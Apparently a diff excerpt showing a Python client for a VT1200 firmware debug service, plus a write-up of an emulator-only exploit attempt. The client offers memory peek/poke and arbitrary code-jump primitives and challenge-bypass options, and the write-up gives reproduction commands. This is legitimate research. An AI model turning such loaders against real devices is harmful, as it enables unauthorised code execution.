if length < 1 or length > MAX_XFER:
raise ValueError(f"peek length must be 1..{MAX_XFER}")
flag, payload = self.command(2, be32(bit_addr) + be32(length))
if flag != 1:
raise ProtocolError(f"peek: expected binary flag 1, got {flag:#x}: "
f"{payload!r}")
if len(payload) != length:
raise ProtocolError(f"peek: asked {length} bytes, got {len(payload)}")
self.expect_done()
return payload
def poke(self, bit_addr: int, data: bytes) -> None:
if not data or len(data) > MAX_XFER:
raise ValueError(f"poke length must be 1..{MAX_XFER}")
flag, payload = self.command(3, be32(bit_addr) + be32(len(data)) + data)
if flag != 0:
# "Done\n" is flag 0; anything else is the firmware's error text
print(f"[!] poke reply flag={flag:#x}: {payload!r}", file=sys.stderr)
self.expect_done(payload if flag == 0 else None)
def jump(self, bit_addr: int, args: list[int], wait: bool = True,
wait_timeout: float | None = None) -> tuple[int, bytes] | None:
body = be32(bit_addr) + be32(len(args))
for a in args:
body += be32(a)
if not wait:
self.command(4, body, wait=False)
return None
try:
flag, payload = self.command(4, body, wait_timeout=wait_timeout)
except (socket.timeout, TimeoutError):
return None
if flag == 1:
(retval,) = struct.unpack(">I", payload[:4])
print(f"[.] jump returned {retval:#010x} ({retval})")
try:
self.expect_done()
except (socket.timeout, TimeoutError):
pass
return retval, payload
return None
def expect_done(self, payload: bytes | None = None) -> None:
if payload is not None:
if payload.startswith(b"Done\n"):
return
raise ProtocolError(f"expected Done, got {payload!r}")
flag, body = self.read_frame()
if flag != 0 or not body.startswith(b"Done\n"):
raise ProtocolError(f"expected Done frame, got flag={flag:#x} "
f"{body!r}")
# ---------------------------------------------------------------------------
# dry run: print exactly what would go on the wire
# ---------------------------------------------------------------------------
def build_frames(args) -> list[bytes]:
frames = []
if args.opcode is not None:
frames.append(be32(args.opcode))
if args.peek is not None:
frames.append(be32(2) + be32(args.peek) + be32(args.len))
if args.poke is not None:
data = parse_hex(args.hex or "")
frames.append(be32(3) + be32(args.poke) + be32(len(data)) + data)
if args.poke_file is not None:
data = open(args.file, "rb").read()
frames.append(be32(3) + be32(args.poke_file) + be32(len(data)) + data)
if args.jump is not None:
body = be32(args.jump) + be32(len(args.arg))
for a in args.arg:
body += be32(a)
frames.append(be32(4) + body)
return frames
def main(argv: list[str]) -> int:
ap = argparse.ArgumentParser(
description="Client for the VT1200 stock firmware's rdebug TCP service "
"(port 771). Addresses are TMS34010 bit addresses; use "
"--byte-addr to give byte addresses instead.",
formatter_class=argparse.RawDescriptionHelpFormatter)
ap.add_argument("--host", default="192.168.99.2")
ap.add_argument("--port", type=int, default=771)
ap.add_argument("--timeout", type=float, default=5.0,
help="socket timeout for ordinary command replies")
ap.add_argument("--challenge", choices=("echo", "computed"), default="echo")
ap.add_argument("--challenge-raw", metavar="HEX",
help="override the 16-byte challenge answer (experiment)")
ap.add_argument("--byte-addr", action="store_true",
help="arguments are byte addresses; multiply by 8")
ap.add_argument("--dry-run", action="store_true",
help="print the request frames, do not connect")
ap.add_argument("--verbose", action="store_true")
g = ap.add_mutually_exclusive_group(required=False)
g.add_argument("--opcode", type=int, help="send a bare opcode (7 = liveness)")
g.add_argument("--peek", type=parse_int, help="peek: bit address")
g.add_argument("--poke", type=parse_int, help="poke: bit address")
g.add_argument("--poke-file", type=parse_int,
help="poke a whole file: bit address")
g.add_argument("--jump", type=parse_int, help="jump: call bit address")
ap.add_argument("--len", type=int, default=16, help="peek length (max 1024)")
ap.add_argument("--hex", help="poke payload as hex, e.g. DEADBEEF")
ap.add_argument("--file", help="poke-file payload path")
ap.add_argument("--arg", type=parse_int, action="append", default=[],
help="jump argument (repeat up to 20)")
ap.add_argument("--jump-wait", type=float, default=0.0,
help="seconds to wait for a jump return; 0 = don't wait "
"(a spinning payload never returns)")
ap.add_argument("--poke-chunk", type=int, default=MAX_XFER,
help="split large poke-file payloads into chunks")
args = ap.parse_args(argv[1:])
if args.byte_addr:
for name in ("peek", "poke", "poke_file", "jump"):
v = getattr(args, name)
if v is not None:
setattr(args, name, v * 8)
args.arg = [a for a in args.arg]
if args.poke is not None and not args.hex:
ap.error("--poke needs --hex")
if args.poke_file is not None and not args.file:
ap.error("--poke-file needs --file")
if args.jump is not None and len(args.arg) > 20:
ap.error("the firmware accepts at most 20 jump arguments")
if args.dry_run:
for frame in build_frames(args):
print(frame.hex(" "))
return 0
rd = RDebug(args.host, args.port, args.timeout, args.verbose)
rd.challenge_type = args.challenge
if args.challenge_raw:
rd.challenge_raw = parse_hex(args.challenge_raw)
if len(rd.challenge_raw) != 16:
ap.error("--challenge-raw must be exactly 16 bytes")
try:
rd.connect()
rc = 0
if args.opcode is not None:
flag, payload = rd.liveness(args.opcode)
print(f"opcode {args.opcode} -> flag={flag:#04x} "
f"payload={payload.hex(' ')} ({payload!r})")
if args.opcode == 7 and payload != b"Done\n\x00":
print("[!] opcode 7 did not return the expected Done\\n",
file=sys.stderr)
rc = 1
if args.peek is not None:
data = rd.peek(args.peek, args.len)
print(f"peek {args.peek:#010x} ({args.len}) -> {data.hex(' ')}")
if args.poke is not None:
data = parse_hex(args.hex)
rd.poke(args.poke, data)
print(f"poke {args.poke:#010x} <- {data.hex(' ')}: ok")
if args.poke_file is not None:
data = open(args.file, "rb").read()
off = 0
while off < len(data):
chunk = data[off:off + args.poke_chunk]
rd.poke(args.poke_file + off * 8, chunk)
off += len(chunk)
print(f"poke-file {args.file}: {len(data)} bytes at "
f"{args.poke_file:#010x}: ok")
if args.jump is not None:
result = rd.jump(args.jump, args.arg, wait=args.jump_wait > 0,
wait_timeout=args.jump_wait or None)
if result is None:
print(f"jump {args.jump:#010x}: no return within "
f"{args.jump_wait}s (expected for a non-returning payload)")
else:
print(f"jump {args.jump:#010x}: retval={result[0]:#010x}")
return rc
except (OSError, ProtocolError) as exc:
print(f"error: {exc}", file=sys.stderr)
return 2
finally:
rd.close()
if __name__ == "__main__":
sys.exit(main(sys.argv))
+292
View File
@@ -0,0 +1,292 @@
# rdebug exploit attempt — gates, loader, and what actually stops a remote attacker
Status: **the loader works; the remote path is stopped by gate B.** Gate A is
not a gate on this image at all.
ROM untouched: `md5 b46a3e442ccb86134d2356bd70d22fd2` (re-checked after every
run). Driver untouched. No `/tmp` artefacts.
Harness caveat: the emulated OS/TCP stack is only reachable with
`VT1200_SKIP_LEVEL1=1`, which drives DUART1 IP3 high — a modelled board input,
not the real machine's POST. That divergence is what lets the terminal boot far
enough to listen on 771; it does not change the rdebug code, the gate fields or
the challenge, but the remote result is about the firmware's service with the OS
up, not about a real terminal's level-1 run.
Two results must not be confused:
| result | how it was reached |
|---|---|
| **remote** — TCP client → accept → dispatcher → challenge | real TCP connection to `192.168.99.2:771`, emulator running `VT1200_SKIP_LEVEL1=1` with the LANCE on a host tap |
| **debugger-assisted** — TCP client → poke → jump → payload | same, but one Lua breakpoint forced the challenge comparison to `0` for that connection |
The second proves the **loader**, not a remote bypass. The remote client never
got past the challenge.
---
## 1. Gate A: `SETF 2` is a *two-bit* field, and it is zero
The static note read this as a 16-bit word compare and concluded "0x8070 ⇒
reject". That is a field-size misread. The listing
(`harness/mame/hostport_dis34.txt:156211`):
```
3f58b280: setf 2, 0, 0
3f58b290: move @0xaecd2, a7, 0
3f58b2c0: jreq L3F58B430 ; zero -> ACCEPT path
...
3f58b430: ... ; accept, create "remote debug"
3f58b2d0: ... ; " rejected", return -1
```
`SETF`'s first operand is the field size **in bits**, not a width code:
* `src/devices/cpu/tms34010/34010dsm.cpp:531` prints
`"SETF %Xh,%X,"` with `(op & 0x1f) ? op & 0x1f : 0x20` — i.e. `2` means 2 bits.
* `src/devices/cpu/tms34010/34010ops.hxx:839` stores that size in `m_st`, and
`src/devices/cpu/tms34010/34010fld.hxx:23` dispatches size 2 to
`wfield_02` / `WFIELDMAC(0x03,15)` — a 2-bit field.
So the compared value is **bits 2..3 of the 16-bit word at bit `0xAECD0`**, not
the word. That word is `0x0000` early and `0x8070` from frame ~600; in both
cases bits 2..3 are `0`:
```
dwt/evidence/run-branch/gate_branch.log
SAMPLE frame 1 word@0xAECD0=0000 field(bits2..3)=0
SAMPLE frame 600 word@0xAECD0=8070 field(bits2..3)=0
SAMPLE frame 1000 word@0xAECD0=8070 field(bits2..3)=0
```
**Executed the gate code itself** (not just read memory): at frame 1000 the
script redirects the CPU into `0x3F58B280` and breaks on both targets. The
accept target is hit, with `a7 = 0`:
```
REDIRECT from 3F57A0E0
GATE-TARGET ACCEPT pc=3F58B430 a7=00000000
```
### Who writes the word
* The two 2-bit fields are written by `3F329F00` (`@0xAECD0`) and `3F32A050`
(`@0xAECD2`) from config lookups (cells `0x155830` / `0x1565b0`). Those
stores **did not execute** in the `VT1200_SKIP_LEVEL1=1` boot (breakpoints
never fired).
* The `0x8070` word arrives between frames 200 and 600 from a boot-time
**PIXBLT block copy** at PC `3FB446D0` — a watchpoint caught
`0xAECC0=0x8000, 0xAECD0=0x8070, 0xAECE0=0xA005, 0xAECF0=0x0008`
(`dwt/evidence/run-gate/debug.log`). The copy source was not identified.
* It is therefore a **16-bit word in a copied RAM settings/bitmap block**, not a
semaphore or a computed flag. Whether a user-visible setting can make the
2-bit field nonzero is **not established**; what is established is that on
this image it is zero and the accept path is taken.
### Remote evidence that Gate A is open
A real TCP connection reached the accept handler, the dispatcher and the
challenge (all breakpoints fired on the same connection):
```
dwt/evidence/run-live/debug.log
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
```
**Verdict:** a remote attacker does not need to clear Gate A. It is open by
default on the emulated image; the 0x8070 is irrelevant to the compared field.
This corrects `dwt/notes/rdebug-static.md` §7 and the corresponding CROSS.md
entry.
---
## 2. Gate B: the 16-byte challenge is real, and echo does not pass
`dwt_prf` (`0x3F59FDC0`) runs once per connection, before the first opcode ≥ 2
(opcodes 0 and 1 skip it; opcode 7 does **not**). It sends four runtime words
with frame flag `0x7F`, reads exactly 16 bytes back, and the dispatcher kills
the session when the function returns 0.
Live result with **echo**:
```
[>] 00 00 00 07
[<] len=17 flag=0x7f payload=f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e
[.] answering echo challenge ...
[>] f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e
error: connection closed after 0/4 bytes
```
Emulator side: `LIVE challenge memcmp a8=FFFFFFFF (0=equal)` — **not equal**, so
the process exits. A failed challenge is fatal and it is per connection.
### Why echo fails: two layers
1. **Byte order.** The four words are stored in host order at `frame+0x20`,
byte-swapped by `ntohl` (`0x07F65828`, a full 32-bit swap) into `frame+0`,
and the *swapped* bytes are what goes on the wire. The memcmp's first
argument is `frame+0x20`, so the expected value is the wire challenge with
**each 32-bit word byte-swapped**. `dwt/exploit.py --challenge computed`
implements exactly that.
2. **An in-place transform.** The 16 received bytes are passed to
`0x3F5A09C0`, which processes them as two 8-byte records. It runs a font
renderer (`0x3F5AC710`, tables at `@0x1C0220` / `@0x1C0240`), a 16-round
Feistel/SP-table cipher (round function `0x3F5ACEC0`, 128-byte key schedule
at `@0x1C0260`, 8 SP tables at `@0x1C0200`), and a second render — and it
writes the result **back into the reply buffer**. The memcmp is
`memcmp(frame+0x20, reply, 16)`.
With the byte-swapped answer (`computed`), the memcmp returned `0x00000001` —
still not equal. So the second layer is the real blocker.
### What was established about the transform
* Deterministic and per-8-byte-record: equal 8-byte records produce equal
8-byte outputs, independent of time (two all-zero runs agreed exactly).
* Nonlinear: `f(03) != f(01) ^ f(02) ^ f(00)`, so it is not a bit-linear map.
* It rewrites the reply buffer in place; the observed outputs for chosen inputs
are in `dwt/evidence/run-live/render-probes.txt` (e.g.
`f(00*8) = 90 de 09 b4 72 85 58 17`).
* The cipher-in/cipher-out dumps are saved (`key.bin`, `sbox.bin`,
`cipher_in.bin`, `cipher_out.bin`). They were not consistent enough (the
dump breakpoints fire once per 8-byte record and overwrite each other) to
reduce the pipeline to an invertible form in the time available. No claim is
made here about the cipher's exact input/output relation.
`dwt/exploit.py --challenge echo|computed` implements layers 1a and 1b.
`--challenge-raw HEX` exists to plug in a full answer once the transform is
inverted.
### Protocol trap (worth knowing)
The opcode's arguments must be sent **after** the challenge answer, not with the
opcode. Sending `opcode|args` in one write makes `dwt_prf` consume the first 16
bytes of the arguments as its answer; the handler then reads shifted fields and
reports nonsense such as `rdebug_peek: maximum peek size is 1024 bytes` for a
length of 8. The client now sends the opcode alone, answers, then sends the
arguments. This is a real property of the firmware's sequential reads.
---
## 3. `poke` / `peek` / `jump` semantics (measured)
All four requests below used the real TCP handlers.
**Address is a bit address.** `peek 0x3F200000` (bit) returned
`e9 7a e2 f5 aa aa 55 55`, byte-for-byte the first 8 bytes of `vt1200_v22.bin`
(file offset 0). A poke to `0x01820000` (bit) with `DE AD BE EF` read back as
`DE AD BE EF`.
**Maximum transfer is 0x400 = 1024 bytes** per request (code `CMPI 0x400`; the
firmware's own text `rdebug_peek: maximum peek size is %d bytes`,
`reference/rom-strings.txt:2579`, and `rdebug_poke: ... %d bytes`, line 2581).
Repeat requests for larger images.
**ROM is write-protected by the memory map, not by the handler.** A poke to
`0x3F200000` returned `Done`, but a following peek still returned
`e9 7a e2 f5 aa aa 55 55`. The handler does no protection check; the driver
maps ROM with `.rom()`.
**`jump` is `call(bit_addr, args...)`.** The handler reads `{addr, nargs}` plus
`nargs` big-endian words (≤ 20), then jumps through a 20-entry stub table at
`0x3F5A6AA0`; stub *n* pushes *n* arguments and does `call *a13`. Arguments are
therefore ordinary firmware stack arguments, not registers. There is no PC
assignment and no return-address check.
**`peek` reads back `poke`** (the `DEADBEEF` test above), so the write primitive
is honest.
---
## 4. The loader, proved debugger-assisted
To separate "the loader works" from "gate B blocks it", one Lua breakpoint at
`0x3F5A0920` forced the challenge comparison to equality (`a8 = 0`) **for that
connection only**. Everything else is the real path over TCP:
```
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
LIVE rdebug_peek entry ... (implicitly, via the peek/poke tests)
LIVE rdebug_poke entry pc=3F5A1B50
LIVE rdebug_jump entry pc=3F5A3890
```
The 82-byte `harness/hello-world/payload.bin` was poked to bit `0x01800000` and
called with `jump 0x01800000`. The emulator read back:
```
LIVE payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
LIVE payload-ran: VRAM block 1024/1024 words FFFF, 0 holes
```
That is the hello-world payload (DEAD/BEEF/1024 iterations + the 256×64 VRAM
block), **executed through the stock loader**. The snapshot call failed only
because this MAME's Lua `machine.screens[1]` index is not valid; the RAM and
VRAM readback are the evidence.
**Boundary:** this is debugger-assisted. It proves `poke` + `jump` can deliver
and run our code; it does **not** prove a remote attacker can pass gate B.
---
## 5. Reproduction
```sh
# build/ROM check
md5sum vt1200_v22.bin # b46a3e442ccb86134d2356bd70d22fd2
# Gate A, offline: sample the 2-bit field, and enter the gate code itself
M=/home/arti/code/k-space/mame0289/vt1200
cd dwt/evidence/run-branch
VT1200_SKIP_LEVEL1=1 $M vt1200 -rompath ../../../harness/mame/roms \
-video none -sound none -nothrottle -debug -debugger none -debuglog \
-nvram_directory $PWD/nvram \
-autoboot_script ../scripts/gate_branch.lua -autoboot_delay 0
# expect: GATE-TARGET ACCEPT pc=3F58B430 a7=00000000
# Live TCP (needs the tap + BOOTP; see harness/net-setup.sh and harness/serve.py)
./harness/net-setup.sh
sudo python3 -u harness/serve.py 192.168.99.1 --bootp &
# MAME: -cfg_directory <copy of harness/mame/cfg-net> -networkprovider taptun
# VT1200_SKIP_LEVEL1=1, -debug -debugger none -debuglog
# after the terminal answers ping 192.168.99.2:
python3 dwt/exploit.py --host 192.168.99.2 --opcode 7 --verbose
# challenge appears, echo is sent, connection closes, memcmp = FFFFFFFF
python3 dwt/exploit.py --host 192.168.99.2 --opcode 7 --challenge computed
# memcmp = 00000001 -- byte order fixed, in-place transform still blocks
# Debugger-assisted loader proof: run live_probe.lua with the memcmp forced to 0
python3 dwt/exploit.py --host 192.168.99.2 --poke 0x01820000 --hex DEADBEEF
python3 dwt/exploit.py --host 192.168.99.2 --peek 0x01820000 --len 4
python3 dwt/exploit.py --host 192.168.99.2 \
--poke-file 0x01800000 --file harness/hello-world/payload.bin
python3 dwt/exploit.py --host 192.168.99.2 --jump 0x01800000 --jump-wait 0
```
## 6. What a remote attacker can and cannot do
* **Can**: connect to TCP 771 (gate A passes), reach the dispatcher, and trigger
the challenge and the public opcodes that require it (the challenge will kill
the session on failure). Nothing useful is reachable without passing it.
* **Cannot**: pass gate B. Echo and word-swapped echo both fail; the firmware's
fixed-key font/cipher transform rewrites the reply in place and was not
inverted here. Therefore `peek`, `poke`, `jump`, `start_telnet`,
`display_message` and `usage_stats` are **not remotely reachable on this
image** without either solving the transform or a different memory-safety bug.
* **Not a gate**: the `0xAECD2` word. Do not patch it; the compared field is
already zero.
## 7. Files
| path | contents |
|---|---|
| `dwt/exploit.py` | stdlib client: opcode 7, peek, poke, poke-file, jump, echo/computed/raw challenge, `--dry-run` |
| `dwt/evidence/run-branch/` | gate-field samples, the ACCEPT branch hit, `debug.log` |
| `dwt/evidence/run-gate/` | write watchpoints on the 0x8070 word |
| `dwt/evidence/run-static/` | the 128-byte block at `0x1BE810` and table pointers |
| `dwt/evidence/run-live/` | live logs, challenge dumps, key/SP-table dumps, render probes, `mame.log` with the payload markers |
| `dwt/evidence/scripts/` | every Lua probe and the oracle harness |
*ROM unmodified. No driver edits. Evidence gathered on the emulator only.*